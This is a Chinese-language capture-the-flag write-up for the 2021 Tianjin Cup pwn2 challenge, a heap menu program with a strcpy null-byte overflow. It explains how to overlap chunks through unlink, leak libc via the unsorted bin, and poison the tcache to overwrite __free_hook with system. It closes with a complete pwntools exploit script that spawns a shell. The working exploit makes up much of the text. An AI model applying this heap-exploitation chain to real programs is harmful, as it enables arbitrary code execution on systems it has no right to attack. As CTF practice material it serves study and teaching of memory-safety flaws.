2021津门杯 pwn2
null byte 溢出
题目描述
creat
最多创建十个chunk
申请的chunk最大不超过496=0x1f0
输入0xa字节的topic name
输入des size
申请相应大小的chunk,指针记录在bss段

先用read读入相应size字节到栈上
然后用strcpy存到chunk中
而strcpy会复制截断字符\x00
所以这里存在null byte溢出
delete
free chunk指针并置0
所有记录在bss段的信息清零
show
把信息都打印出来
思路
还是利用传统的null byte方法创造出堆块重叠
利用埋在其中的两个chunk分别泄露地址和tcache poisoning
操作
这道题比较复杂的地方在于个数的限制,需要不断申请释放相应大小的chunk填满tcache
同时大小的限制也让unsorted bin没有那么直接的出现
还有strcpy的填入方式需要小小改变一下填入数据的方式
先把0x90的tcache填满

布置好chunk
申请10个0x108大小的chunk
这个大小的chunk可以溢出到下一个chunk的size位
同时当相应大小的tcache被填满后
该大小的chunk会被放入unsorted bin
7号chunk需要布置一下fake presize
要填入0x100
如果直接发送0x100会发现填不进去,因为strcpy直接截断了
所以需要先发0x111,然后free掉再申请,让’\x00’覆盖掉低字节即可填入0x100

把0x110的tcache填满,出unsorted bin

nullbyte溢出覆盖size位
把0x80的tcache都申请了
这一步是因为只有tcache里没有chunk了,才会从unsorted bin中切割拿出chunk
埋两个指针
核心:
malloc(0x80) ptr0
malloc(0x20) ptr1
malloc(0x20) ptr2
触发unlink造成chunk堆叠

让ptr2指向unsorted bin的fd
这里没用ptr1指是因为
此时0x80的tcache是满的状态,有7个空闲chunk
假如想用ptr1指则需要malloc(0x80)
会从tcache中拿chunk而不是从当前的unsorted bin切割
所以选择用ptr2指
malloc相应大小
排布如下:

即可通过show泄露基址
tcache poisoning
free ptr0
恢复堆叠的初始状态
把ptr1指向的chunk free掉,放入tcache
然后申请覆盖过ptr1 fd的chunk,从而修改tcache的fd
然后连着申请两次分别写入/bin/sh\x00和system函数地址
最后free掉指向/bin/sh\x00的指针即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| from pwn import* context(os='linux', arch='amd64', log_level='debug') r = process('./pwn')
elf = ELF('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
r.recvuntil(':') r.sendline('CTFM') r.recvuntil(':') r.sendline('123456')
def add(name, size, des, score=None): r.recvuntil('your choice>>') r.sendline('1') r.recvuntil(':') r.sendline(name) r.recvuntil(':') r.sendline(str(size)) r.recvuntil(':') r.sendline(des) if score is not None: r.recvuntil(':') r.sendline(str(score))
def free(idx): r.recvuntil('your choice>>') r.sendline('2') r.recvuntil(':') r.sendline(str(idx))
def show(idx): r.recvuntil('your choice>>') r.sendline('3') r.recvuntil(':') r.sendline(str(idx))
for i in range(7): add('DDDD', 0x80, 'E', i)
for i in range(7): free(i)
for i in range(7): add('AAAA', 0x108, 'BBBB', i)
add('CCCC', 0x108, 'D'*0xf0+p64(0x111), 7) add('CCCC', 0x108, 'D', 8) add('CCCC', 0x108, 'D', 9)
free(7) add('CCCC', 0x108, 'D'*0Xf0+'\x00', 7)
for i in range(7): free(i)
free(7) add('AAAA', 0x108, 'B'*0x108, 0) free(0)
for i in range(7): add('DDDD', 0x80, 'E', i) add('DDDD', 0x80, 'E', 7) for i in range(7): free(i)
add('DDDD', 0x20, 'E', 0) add('DDDD', 0x20, 'E', 1)
free(7) free(8)
add('EEEE', 0xb0, 'G', 2)
show(1) r.recvuntil('topic des:') data = u64(r.recv(6).ljust(8,'\x00'))
free_hook = data+0x1c48 libc_base = free_hook-0x3ed8e8 print 'libc_base ===> ',hex(libc_base) print 'free_hook ===> ',hex(free_hook) sys_addr = libc_base+libc.symbols['system'] free(0) free(2) add('AAAA', 0xb0, 'A'*0x90+p64(free_hook), 0)
add('A', 0x20, '/bin/sh\x00', 2) add('A', 0x20, p64(sys_addr), 3)
free(2) r.interactive()
|